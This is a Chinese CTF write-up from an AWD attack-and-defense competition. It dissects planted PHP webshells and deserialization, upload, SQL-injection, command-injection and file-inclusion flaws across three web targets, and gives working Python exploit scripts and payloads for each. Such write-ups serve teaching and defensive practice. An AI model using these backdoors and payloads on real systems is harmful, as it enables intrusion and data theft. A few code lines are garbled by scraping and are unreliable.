天天看點

跟着表哥學習如何打「AWD比賽」

在網絡安全的衆多比賽中,AWD比賽就是這種攻防兼備的比賽形式。

在很多大型網際網路公司中,安全團隊會經常組織攻防模拟演練,目的是以攻促防,提前發現潛在風險,協助提升業務系統安全性和完善安全系統能力,更有效的抵禦黑客攻擊。

在網絡安全的衆多比賽中,AWD比賽就是這種攻防兼備的比賽形式。今天分享的文章是 i 春秋論壇的作者flag0原創的文章,他為我們帶來的是一次AWD比賽的總結,想要了解AWD比賽的小夥伴,這篇文章不容錯過,文章未經許可禁止轉載!

注:i 春秋公衆号旨在為大家提供更多的學習方法與技能技巧,文章僅供學習參考。

AWD介紹

AWD(Attack With Defense,攻防兼備)是一個非常有意思的模式,你需要在一場比賽裡要扮演攻擊方和防守方,攻者得分,失守者會被扣分。也就是說,攻擊别人的靶機可以擷取 Flag 分數時,别人會被扣分,同時你也要保護自己的主機不被别人得分,以防扣分。

這種模式非常激烈,賽前準備要非常充分,手上要有充足的防守方案和 EXP 攻擊腳本,而且參賽越多,積累的經驗就越多,獲勝的希望就越大。

比賽規則

  • 每個團隊配置設定到一個Docker主機,給定Web(Web)/ Pwn(Pwn)使用者權限,通過特定的端口和密碼進行連接配接;
  • 每台Docker主機上運作一個網絡服務或其他的服務,需要選手保證其可用性,并嘗試審計代碼,攻擊其他隊伍;
  • 選手可以通過使用突破擷取其他隊伍的伺服器的權限,讀取其他伺服器上的标志并送出到平台上;
  • 每次成功攻擊可能5分,被攻擊者取代5分;
  • 有效攻擊五分鐘一輪。選手需要保證己方服務的可用性,每次服務不可用,替換10分;
  • 服務檢測五分鐘一輪;
  • 禁止使用任何形式的DOS攻擊,第一次發現扣1000分,第二次發現取消比賽資格。

Web1

首先用D盾進行清除。

預留後門

pass.php

<?php
@eval($_POST['pass']);
?>           

很簡單直接的一句話後門

yjh.php

<?php
@error_reporting(0);
session_start();
if (isset($_GET['pass']))
{
    $key=substr(md5(uniqid(rand())),16);
    //uniqid() 函數基于以微秒計的目前時間,生成一個唯一的 ID
    //這裡用于生成session
    $_SESSION['k']=$key;
    print $key;
}
else
{
    $key=$_SESSION['k'];
    $post=file_get_contents("php://input");//讀取post内容
    if(!extension_loaded('openssl'))//檢查openssl擴充是否已經加載
    {//如果沒有openssl
        $t="base64_"."decode";
        $post=$t($post."");//base64_decode

        for($i=0;$i<strlen($post);$i++) {
                 $post[$i] = $post[$i]^$key[$i+1&15]; //進行異或加密
                }
    }
    else
    {
        $post=openssl_decrypt($post, "AES128", $key);//aes加密
    }
    $arr=explode('|',$post);//傳回由字元串組成的數組
    $func=$arr[0];
    $params=$arr[1];//擷取第二個

    class C
    {
        public function __construct($p) // __construct() 允許在執行個體化一個類之前先執行構造方法
        {
            eval($p."");//直接eval
        }
    }
    home.php?mod=space&uid=162648 C($params);
}
?>           

生成随機密鑰值通過密鑰值對加密,如果伺服器沒有openssl擴充,則與密鑰值進行異或解密,如果有openssl環境,則使用密鑰值進行解密。

搞清楚了代碼邏輯之後,編寫利用腳本。

服務端有openssl擴充的利用腳本

import requests
import base64
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad

def aes_encode(key, text):
    key = key.encode()
    text = text.encode()
    text = pad(text, 16)
    model = AES.MODE_CBC  # 定義模式
    aes = AES.new(key, model, b'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0')
    enPayload = aes.encrypt(text)  # 加密明文
    enPayload = base64.encodebytes(enPayload)  # 将傳回的位元組型資料轉進行base64編碼
    return enPayload

def getBinXie(url):
    req = requests.session()
    url = url+"/yjh.php"
    par = {
        'pass':''
    }
    key = req.get(url,params=par).content
    key = str(key,encoding="utf8")
    payload = '1|system("cat /flag");'
    enPayload = aes_encode(key,payload)
    res = req.post(url,enPayload).text
    return res
if __name__ == '__main__':
    url = "http://localhost"
    flag = getBinXie(url)
    print(flag)           

因為php中加密方式是AES128,是以可以判斷是CBC模式。

服務端沒有openssl擴充的利用腳本

當沒有擴充的時候會執行異或加密

def xorEncode(key,text):
    textNew = ""
    for i in range(len(text)):
        left = ord(text[i])
        rigth = ord(key[i+1&15])
        textNew += chr(left ^ rigth)
    textNew = base64.b64encode(textNew.encode())
    textNew = str(textNew,encoding="utf8")
    return textNew
def getBinXieXor(url):
    req = requests.session()
    url = url+"/login/yjh.php"
    par = {
        'pass':''
    }
    key = req.get(url,params=par).content
    key = str(key,encoding="utf8")
    text = "|system('cat /flag');"
    enPayload = xorEncode(key,text)
    res = req.post(url, enPayload).text
    return res           

在Web1中,login\yjh.php與pma\binxie2.0.1.php與yjh.php内容是一樣的。

反序列化後門

sqlhelper.php

D盾沒掃出來的,還有一個反序列化後門。

if (isset($_POST['un']) && isset($_GET['x'])){
class A{
    public $name;
    public $male;

    function __destruct(){//析構方法,當這個對象用完之後,會自動執行這個函數中的語句
        $a = $this->name;
        $a($this->male);//利用點
    }
}

unserialize($_POST['un']);
}           

$a($this->amle)如果$a=eval;$b=system('cat /flag');

就相當于eval(system("cat /flag"));

構造payload:

<?php
class A{
    public $name;
    public $male;

    function __destruct(){//對象的所有引用都被删除或者當對象被顯式銷毀時執行
        $a = $this->name;
        $a($this->male);//利用點
}
$flag = new A();
$flag -> name = "system";
$flag -> male = "cat /flag";
var_dump(serialize($flag));
?>           

獲得反序列化字元串:

O:1:"A":2:{s:4:"name";s:6:"system";s:4:"male";s:9:"cat /flag";}           

封裝成攻擊函數:

def getSerialize(url):
    import requests
    url = url + "/sqlhelper.php?x=a"
    payload = {
        "un":'O:1:"A":2:{s:4:"name";s:6:"system";s:4:"male";s:9:"cat /flag";}'
    }
    flag = requests.post(url=url,data=payload).content
    return str(flag,encoding="utf8").strip()           

檔案上傳漏洞

info.php

<?php
include_once "header.php";
include_once "sqlhelper.php";
?>
<?php
if (isset($_POST['address'])) {
    $helper = new sqlhelper();
    $address = addslashes($_POST['address']);
    if (isset($_POST['password'])) {
        $password = md5($_POST['password']);
        $sql = "UPDATE  admin SET address='$address',password='$password' WHERE id=$_SESSION[id]";
    } else {
        $sql = "UPDATE  admin SET address='$address'  WHERE id=$_SESSION[id]";
    }
    $res = $helper->execute_dml($sql);
    if ($res) {
        echo "<script>alert('更新成功');</script>";
    }
    if (isset($_FILES)) {
        if ($_FILES["file"]["error"] > 0) {
            echo "錯誤:" . $_FILES["file"]["error"] . "<br>";
        } else {
            $type = $_FILES["file"]["type"];
            if($type=="image/jpeg"){
                $name =$_FILES["file"]["name"] ;
                if (file_exists("upload/" . $_FILES["file"]["name"]))
                {
                    echo "<script>alert('檔案已經存在');</script>";
                }
                else
                {
                    move_uploaded_file($_FILES["file"]["tmp_name"], "assets/images/avatars/" . $_FILES["file"]["name"]);
                    $helper = new sqlhelper();
                    $sql = "UPDATE  admin SET icon='$name' WHERE id=$_SESSION[id]";
                    $helper->execute_dml($sql);
                }
            }else{
                echo "<script>alert('不允許上傳的類型');</script>";
            }
        }
    }
}

?>           

可以看到檔案上傳的這裡,隻驗證了cron-type,隻要是把其修改為image/jepg就可以上傳任意檔案到assets/images/avatars/目錄下了。

這裡屬于背景頁面有權限控制,必須登陸後才能通路。

<?php
session_start();
if (!isset($_SESSION['username'])){
    header('Location: /login');
}           

檢視登陸頁面login/index.php

<?php
if (isset($_POST['username'])){
    include_once "../sqlhelper.php";
    $username=$_POST['username'];
    $password = md5($_POST['password']);
    $sql = "SELECT * FROM admin where name='$username' and password='$password';";
    $help = new sqlhelper();
    $res  = $help->execute_dql($sql);
    echo $sql;
    if ($res->num_rows){
        session_start();
        $row = $res->fetch_assoc();
        $_SESSION['username'] = $username;
        $_SESSION['id'] = $row['id'];
        $_SESSION['icon'] = $row['icon'];
        echo "<script>alert('登入成功');window.location.href='/'</script>";
    }else{
        echo "<script>alert('使用者名密碼錯誤')</script>";
    }
}           

SQL語句輸入的部分沒有任何過濾,很明顯存在SQL注入漏洞,可以萬能密碼登陸繞過。

POST /login/index.php HTTP/1.1
Host: localhost.110.165.119:90
Content-Length: 33
Cache-Control: max-age=0
Origin: http://localhost:90
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3314.0 Safari/537.36 SE 2.X MetaSr 1.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://localhost:90/login/index.php
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=494n7s8cfqqarg9qaqm57ql534
Connection: close

username=admin'%23&password=ccccc           

利用鍊為login/index.php萬能密碼登陸-> info.php任意檔案上傳。

編寫腳本:

def getUPload(url):
    import requests
    req = requests.session()
    datas = {
        "username":"admin'#",
        "password":""
    }
    login = req.post(url=url+"login/index.php",data=datas)

    head = {
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3314.0 Safari/537.36 SE 2.X MetaSr 1.0",
    "Cookie": "PHPSESSID="+login.cookies.items()[0][1]
    }
    datas = {
        "address":"123123"
    }

    file = {
        ("file",("shell.php","<?php eval($_POST['cmd']);?>","image/jpeg"))
    }

    req.post(url+"info.php",headers=head,files=file,data=datas).text

    datas = {
        "cmd":"system('cat /flag');",
    }
    flag = req.post(url+"assets/images/avatars/shell.php",data=datas).text
    return flag.strip()           

Web2

同樣先用D盾掃一掃

index.php

<!-- partial -->
<script src="./script.js"></script>
<?php @eval($_POST['nono']);?>
</body>
</html>           

images \ pass.php與icon \ pww.php

是和Web1類似,這裡就不再過多描述。

指令執行

connect.php

D盾報警的是這行$r = exec("ping -c 1 $host");

檢視整段的邏輯:

<?php
if ($check == 'net') {
    $r = exec("ping -c 1 $host");
    if ($r) {
        ?>
        <div class="sufee-alert alert with-close alert-success alert-dismissible fade show">
            <span class="badge badge-pill badge-success">Success</span>
            網絡通暢
            <button type="button" class="close" data-dismiss="alert" aria-label="Close">
<span aria-hidden="true">×</span>
            </button>
        </div>
        <?php
    } else {
        ?>
        <div class="sufee-alert alert with-close alert-danger alert-dismissible fade show">
            <span class="badge badge-pill badge-danger">Error</span>
            網絡異常
            <button type="button" class="close" data-dismiss="alert" aria-label="Close">
<span aria-hidden="true">×</span>
            </button>
        </div>
        <?php
    }
}
echo "";
?>           

發現并沒有回顯,而是根據狀态來顯示不同的html代碼,其中$host變量是可控的,我們看下是怎麼指派的:

if (isset($_GET['check'])) {
    $check = $_GET['check'];
    $id = intval($_GET['id']);
    $sql = "SELECT host,port from host where id = $id";
    $res = $helper->execute_dql($sql);
    $row = $res->fetch_assoc();
    $host = $row['host'];
    $port = $row['port'];
    if ($check=='web'){
        $location = $host.':'.$port; // Get the URL from the user.
        $curl = curl_init();
        curl_setopt($curl, CURLOPT_URL, $location); // Not validating the input. Trusting the location variable
        curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
        $res_web = curl_exec($curl);
        curl_close($curl);

    }

}           

可以看到是從資料庫查詢的結果,接着看是如何插入資料庫的:

if (isset($_POST['host'])) {
    $host = addslashes($_POST['host']);
    $port = intval($_POST['port']);
    if ($host && $port) {
        $sql = "INSERT INTO `host` (`host`, `port`) VALUES ('$host', '$port')";
        $res = $helper->execute_dml($sql);
        echo "<script>alert('成功加入雲主機');</script>";
    } else {
        echo "<script>alert('不可以為空');</script>";
    }
}           

在傳入的時候經過了addslashes轉義,但是轉義對指令執行來說沒有什麼作用。

在connect.php中開頭包含了header.php檔案。

<?php
include "header.php";
include_once "sqlhelper.php";
$helper = new sqlhelper();           

而header.php中包含了login_require.php在其中有session的檢測。

<?php
session_start();
if (!isset($_SESSION['username'])){
    header('Location: /login');
}           

在login/index.php中存在的SQL語句沒有經過任何過濾,存在SQL注入,可以使用萬能密碼登陸。

<?php
if (isset($_POST['username'])) {
    include_once "../sqlhelper.php";
    $username = $_POST['username'];
    $password = md5($_POST['password']);
    $sql = "SELECT * FROM admin where username='$username' and password='$password'";
    $help = new sqlhelper();
    $res = $help->execute_dql($sql);
    if ($res->num_rows) {
        session_start();
        $row = $res->fetch_assoc();
        $_SESSION['username'] = $username;
        $_SESSION['id'] = $row['id'];
        echo "<script>alert('登入成功');window.location.href='/'</script>";
    } else {
        echo "<script>alert('使用者名密碼錯誤')</script>";
    }
}
?>           

構造payload

構造利用payload

POST /connect.php?check=net&id=16 HTTP/1.1
Host: localhost:91
Content-Length: 60
Cache-Control: max-age=0
Origin: http://localhost:91
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3314.0 Safari/537.36 SE 2.X MetaSr 1.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://localhost:91/connect.php?check=net&id=16
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=6f3h723lnmdc1vd4u066p2rc75
Connection: close

host=||cat /flag > /usr/local/apache2/htdocs/1.txt&port=1123           

因為沒有回顯是以将标志寫入檔案中,我們直接通路即可。

雖然有session,但是發現不登陸直接通路也可以。

雖然304跳轉,但是卻仍然執行指令了。

編寫利用子產品:

def getExec(url):
    import requests
    datas = {
        "host":"||cat /flag > /usr/local/apache2/htdocs/1.txt",
        "port":9999
    }

    requests.post(url+"/connect.php?check=net&id=16",data=datas)#執行指令
    flag = requests.get(url+"1.txt").text
    return flag.strip()           

任意檔案通路

img.php

<?php
$file = $_GET['img'];
$img = file_get_contents('images/icon/'.$file);
//使用圖檔頭輸出浏覽器
header("Content-Type: image/jpeg;text/html; charset=utf-8");
echo $img;
exit;           

這裡可以利用目錄穿越,直接讀取到flag。

/img.php?img=/../../../../../../flag           
def getImg(url):
    import requests
    param = {
        "img":"/../../../../../../flag"
    }
    flag = requests.get(url+"/img.php",params=param).text
    return flag.strip()           

<?php

class A{
    public $name;
    public $male;

    function __destruct(){
        $a = $this->name;
        $a($this->male);
    }
}

unserialize($_POST['un']);
?>           

這裡的利用和Web1中的利用是一樣的,隻不過少了if (isset($_POST['un']) && isset($_GET['x']))的限制,少了$_GET['x']參數,用之前的利用子產品即可。

Web3

同樣這裡使用D盾掃一下

隻掃到了一個

export.php

<?php
if (isset($_POST['name'])){
    $name = $_POST['name'];
    exec("tar -cf backup/$name images/*.jpg");
    echo "<div class=\"alert alert-success\" role=\"alert\">導出成功,<a href='backup/$name'>點選下載下傳</a></div>";
}
?>           
name=||cat /flag > /usr/local/apache2/htdocs/1.txt||           

因為這裡沒有回顯是以,也隻能導出flag,或者可以利用這個後門寫入Webshell。

def getExec3(url):
    import requests
    datas = {
        "name":"||cat /flag > /usr/local/apache2/htdocs/1.txt||"
    }
    requests.post(url+"/export.php",data=datas)
    flag = requests.get(url+"/1.txt").text
    return flag.strip()           

檔案包含

<?php
include_once "login_require.php";
if (isset($_GET['page'])){
    $page = $_GET['page'];

}else{
        $page = 'chart.php';
}
?>
<!--                            --><?php
                            include_once "$page";
//                            ?>           

構造payload,直接包含标志檔案(這裡必須登陸,才可以利用)。

index.php?page=../../../../flag           

看一下login / index.php

<?php
if (isset($_POST['username'])) {
    include_once "../sqlhelper.php";
    $username = addslashes($_POST['username']);
    $password = md5($_POST['password']);
    $sql = "SELECT * FROM admin where username='$username' and password='$password'";
    var_dump($sql);
    $help = new sqlhelper();
    $res = $help->execute_dql($sql);
    if ($res->num_rows) {
        session_start();
        $row = $res->fetch_assoc();
        $_SESSION['username'] = $username;
        $_SESSION['id'] = $row['id'];
        echo "<script>alert('登入成功');window.location.href='/'</script>";
    } else {
        echo "<script>alert('使用者名密碼錯誤')</script>";
    }
}
?>           

username處被addslashes( )轉義了,而且沒有編碼轉換。

這裡隻能使用預設的賬号密碼登陸,檢視資料庫中密碼。

INSERT INTO `admin` (`id`, `username`, `password`) VALUES
(1, 'admin', 'e10adc3949ba59abbe56e057f20f883e');           

經線上解密為123456

我們據此構造利用子產品:

def getInclude(url):
    import requests
    import re
    req = requests.session()
    datas = {
        "username":"admin",
        "password":"123456"
    }
    login = req.post(url=url+"login/index.php",data=datas)

    head = {
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3314.0 Safari/537.36 SE 2.X MetaSr 1.0",
    "Cookie": "PHPSESSID="+login.cookies.items()[0][1]
    }
    param = {
        "page":"../../../../flag"
    }

    rep = req.get(url+"/index.php",params=param,headers=head).text
    keys = re.search("flag{(.+?)}",rep)
    flag = keys.group(1)
    flag = "flag{"+flag+"}"
    return flag           

這樣就隻有賬号密碼沒有修改的會中招。

SQL注入

order.php

order.php處存在SQL注入漏洞,用延時注入可以注入出來密碼,但是效率有點低。

<?php
include_once "sqlhelper.php";
$helper = new sqlhelper();
if (isset($_POST['name'])) {
    $name = addslashes($_POST['name']);
    $price = intval($_POST['price']);
    if (isset($_FILES)) {
        // 允許上傳的圖檔字尾
        $allowedExts = array("gif", "jpeg", "jpg", "png");
        $temp = explode(".", $_FILES["file"]["name"]);
        $extension = end($temp);     // 擷取檔案字尾名
        if ((($_FILES["file"]["type"] == "image/gif")
                || ($_FILES["file"]["type"] == "image/jpeg")
                || ($_FILES["file"]["type"] == "image/jpg")
                || ($_FILES["file"]["type"] == "image/pjpeg")
                || ($_FILES["file"]["type"] == "image/x-png")
                || ($_FILES["file"]["type"] == "image/png"))
            && ($_FILES["file"]["size"] < 204800)   // 小于 200 kb
            && in_array($extension, $allowedExts)) {
            if ($_FILES["file"]["error"] > 0) {
                echo "錯誤:" . $_FILES["file"]["error"] . "<br>";
            } else {
                $filename = $_FILES["file"]["name"];
                if (file_exists("upload/" . $_FILES["file"]["name"])) {
                    echo "<script>alert('檔案已經存在');</script>";
                } else {
                    move_uploaded_file($_FILES["file"]["tmp_name"], "images/" . $_FILES["file"]["name"]);
                }
            }
        } else {
            echo "<script>alert('不允許上傳的類型$t');</script>";
        }
    }

    if ($name && $price) {
        $sql = "INSERT INTO `product` (`name`, `price`,`img`) VALUES ('$name', '$price','$filename')";
        $res = $helper->execute_dml($sql);
        if ($res){
            echo "<script>alert('添加成功');</script>";

        }
    } else {
        echo "<script>alert('添加失敗');</script>";
    }
}           

這裡的insert語句将'$name', '$price','$filename'帶入了資料庫。

$name = addslashes($_POST['name']);
$price = intval($_POST['price']);           

而$ name和$ price經過了處理,隻有$ filename參數可以利用了,可以使用延時注入。

下面附上腳本,可以調用cmd5的接口進行md5解密,但是這個腳本跑下來效率很低。

#coding=utf8
import requests
import time

def getAdminPass(url):
    passwdMd5 = ""
    md5Api = "https://www.cmd5.com/api.ashx?email=郵箱&key=這裡換上你的key&hash="
    for i in range(32):
        for c in range(32,127):
            payload = "' or if((ascii(mid((select password from admin),{0},1))={1}),sleep(3),1))#') .png".format(str(i+1),str(c))
            print(payload)
            file = {
                ("file", ("{0}".format(payload), "", "image/png"))
            }
            datas = {
                "name": "1",
                "price": "2"
            }
            start_time = time.time()
            requests.post(url + "/order.php", data=datas, files=file)
            end_time = time.time()
            if (end_time - start_time) > 3:
                passwdMd5 += chr(c)
                print(passwdMd5)
                break

    passwd = requests.get(md5Api+passwdMd5).text.strip()
    errDict = {
        0:"解密失敗",
        -1:"無效的使用者名密碼",
        -2:"餘額不足",
        -3:"解密伺服器故障",
        -4:"不識别的密文",
        -7:"不支援的類型",
        -8:"api權限被禁止",
        -999:"其它錯誤"
    }
    if "CMD5-ERROR" in passwd:
        index = passwd.rfind(":")
        errId = passwd[index+1:]
        errStr = errDict.get(int(errId))
        return "[-]Error: "+errStr
    else:
        return passwd.strip()

if __name__ == '__main__':
    url = "http://locahost:92"
    passwd = getAdminPass(url)
    print(passwd)           

總結

這次比賽是三個Web兩個Pwn,一共三個小時的時間,比賽過程中驚歎于師傅們的快速審計與突破利用能力,深深的感覺到了差距。

繼續閱讀